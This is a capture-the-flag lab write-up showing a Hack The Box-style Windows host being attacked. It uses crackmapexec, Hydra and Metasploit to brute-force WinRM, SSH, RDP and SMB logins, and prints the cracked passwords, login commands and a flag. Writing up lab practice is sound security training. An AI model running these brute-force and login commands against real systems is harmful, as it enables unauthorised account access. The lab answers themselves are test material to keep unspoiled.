Questions
Question 1
Find the user for the WinRM service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.
nmap scan
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
3389/tcp open ms-wbt-server
winrm bruteforce
┌──(root㉿kali)-[/home/kali/Downloads]
└─# crackmapexec winrm 10.129.91.93 -u username.list -p password.list
SMB 10.129.91.93 5985 WINSRV [*] Windows 10 / Server 2019 Build 17763 (name:WINSRV) (domain:WINSRV)
HTTP 10.129.91.93 5985 WINSRV [*] http://10.129.91.93:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.91.93 5985 WINSRV [-] WINSRV\john:123456
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.91.93 5985 WINSRV [-] WINSRV\john:12345
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.91.93 5985 WINSRV [-] WINSRV\john:123456789
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.91.93 5985 WINSRV [-] WINSRV\john:batman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.91.93 5985 WINSRV [-] WINSRV\john:password
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.91.93 5985 WINSRV [-] WINSRV\john:iloveyou
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.91.93 5985 WINSRV [-] WINSRV\john:princess
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.91.93 5985 WINSRV [+] WINSRV\john:november (Pwn3d!)
Login with Evil-winrm
evil-winrm -i ipaddress -u username -p passwordNavigate to
C:\Users\john\Desktop\fFind the flag there:
type flag.txtQuestion 2
Bruteforce SSH login with Hydra
hydra -L username.list -P password.list ssh://ip_address┌──(root㉿kali)-[/home/kali/Downloads]
└─# hydra -L username.list -P password.list ssh://10.129.91.93
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-19 06:44:03
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 21112 login tries (l:104/p:203), ~1320 tries per task
[DATA] attacking ssh://10.129.91.93:22/
[22][ssh] host: 10.129.91.93 login: dennis password: rockstar
[STATUS] 1009.00 tries/min, 1009 tries in 00:01h, 20105 to do in 00:20h, 14 activeConnect to SSH
ssh dennis@ip_address -P rockstargot access
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.
dennis@WINSRV C:\Users\dennis>
Find flag
dennis@WINSRV C:\Users\dennis> dir C:\flag.txt /s /p
Volume in drive C has no label.
Volume Serial Number is 2683-3D37
Directory of C:\Users\dennis\Desktop
01/05/2022 09:39 AM 15 flag.txt
1 File(s) 15 bytes
Found
dennis@WINSRV C:\Users\dennis> cd Desktop
dennis@WINSRV C:\Users\dennis\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 2683-3D37
Directory of C:\Users\dennis\Desktop
01/05/2022 09:16 AM <DIR> .
01/05/2022 09:16 AM <DIR> ..
01/05/2022 09:39 AM 15 flag.txt
1 File(s) 15 bytes
2 Dir(s) 26,292,985,856 bytes free
dennis@WINSRV C:\Users\dennis\Desktop>type flag.txt
HTB{Let5R0ck1t}
Question 3
Crack the SMB service credential
hydra -L username.list -P password.list rdp://ip_address
chris:789456123Authenticate on service
┌──(root㉿kali)-[/home/kali/Downloads]
└─# xfreerdp3 /v:10.129.91.93 /u:chris /p:789456123
Question 4
Bruteforce the password
hydra -L username.list -P password.list smb://ip_addressWe get an error
┌──(root㉿kali)-[/home/kali/Downloads]
└─# hydra -L username.list -P password.list smb://10.129.91.93
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-19 07:04:19
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 21112 login tries (l:104/p:203), ~21112 tries per task
[DATA] attacking smb://10.129.91.93:445/
[ERROR] invalid reply from target smb://10.129.91.93:445/
Lets try with Metasploit SMB Login
msfconsole -q ┌──(root㉿kali)-[/home/kali/Downloads]
└─# msfconsole -q
msf6 > search SMB Login
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms04_007_killbill 2004-02-10 low No MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow
1 exploit/windows/smb/smb_relay 2001-03-31 excellent No MS08-068 Microsoft Windows SMB Relay Code Execution
2 \_ action: CREATE_SMB_SESSION . . . Do not close the SMB connection after relaying, and instead create an SMB session
3 \_ action: PSEXEC . . . Use the SMB Connection to run the exploit/windows/psexec module against the relay target
4 \_ target: Automatic . . . .
5 \_ target: PowerShell . . . .
6 \_ target: Native upload . . . .
7 \_ target: MOF upload . . . .
8 \_ target: Command . . . .
9 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
10 \_ target: Automatic Target . . . .
11 \_ target: Windows 7 . . . .
12 \_ target: Windows Embedded Standard 7 . . . .
13 \_ target: Windows Server 2008 R2 . . . .
14 \_ target: Windows 8 . . . .
15 \_ target: Windows 8.1 . . . .
16 \_ target: Windows Server 2012 . . . .
17 \_ target: Windows 10 Pro . . . .
18 \_ target: Windows 10 Enterprise Evaluation . . . .
19 exploit/windows/smb/smb_shadow 2021-02-16 manual No Microsoft Windows SMB Direct Session Takeover
20 auxiliary/scanner/smb/smb_login . normal No SMB Login Check Scanner
21 auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt . normal No SMB NTLMv1 Login Request Corruption
22 exploit/multi/http/pgadmin_session_deserialization 2024-03-04 excellent Yes pgAdmin Session Deserialization RCE
Interact with a module by name or index. For example info 22, use 22 or use exploit/multi/http/pgadmin_session_deserialization
msf6 > use 20msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE password.list
PASS_FILE => password.list
msf6 auxiliary(scanner/smb/smb_login) > set USER_FILE username.list
USER_FILE => username.list
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 10.129.91.93
RHOSTS => 10.129.91.93
msf6 auxiliary(scanner/smb/smb_login) > run
[+] 10.129.91.93:445 - 10.129.91.93:445 - Success:
'.\cassie:12345678910'Accessing SMB File Shares
┌──(root㉿kali)-[/home/kali/Downloads]
└─# smbclient -U cassie -L \\\\10.129.91.93\\
Password for [WORKGROUP\cassie]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
CASSIE Disk
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.91.93 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(root㉿kali)-[/home/kali/Downloads]
└─# smbclient -U cassie \\\\10.129.91.93\\CASSIE
Password for [WORKGROUP\cassie]:
Try "help" to get a list of possible commands.
smb: \> help
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
mkfifo more mput newer notify
open posix posix_encrypt posix_open posix_mkdir
posix_rmdir posix_unlink posix_whoami print prompt
put pwd q queue quit
readlink rd recurse reget rename
reput rm rmdir showacls setea
setmode scopy stat symlink tar
tarmode timeout translate unlock volume
vuid wdel logon listconnect showconnect
tcon tdis tid utimes logoff
.. !
smb: \> ls
. DR 0 Sat Apr 19 06:27:37 2025
.. DR 0 Sat Apr 19 06:27:37 2025
desktop.ini AHS 282 Thu Jan 6 09:44:52 2022
flag.txt A 16 Thu Jan 6 09:46:14 2022
uKDFSxqTZk D 0 Sat Apr 19 06:27:37 2025clo
10328063 blocks of size 4096. 6410885 blocks available
smb: \> get flag.txt
getting file \flag.txt of size 16 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
Last updated
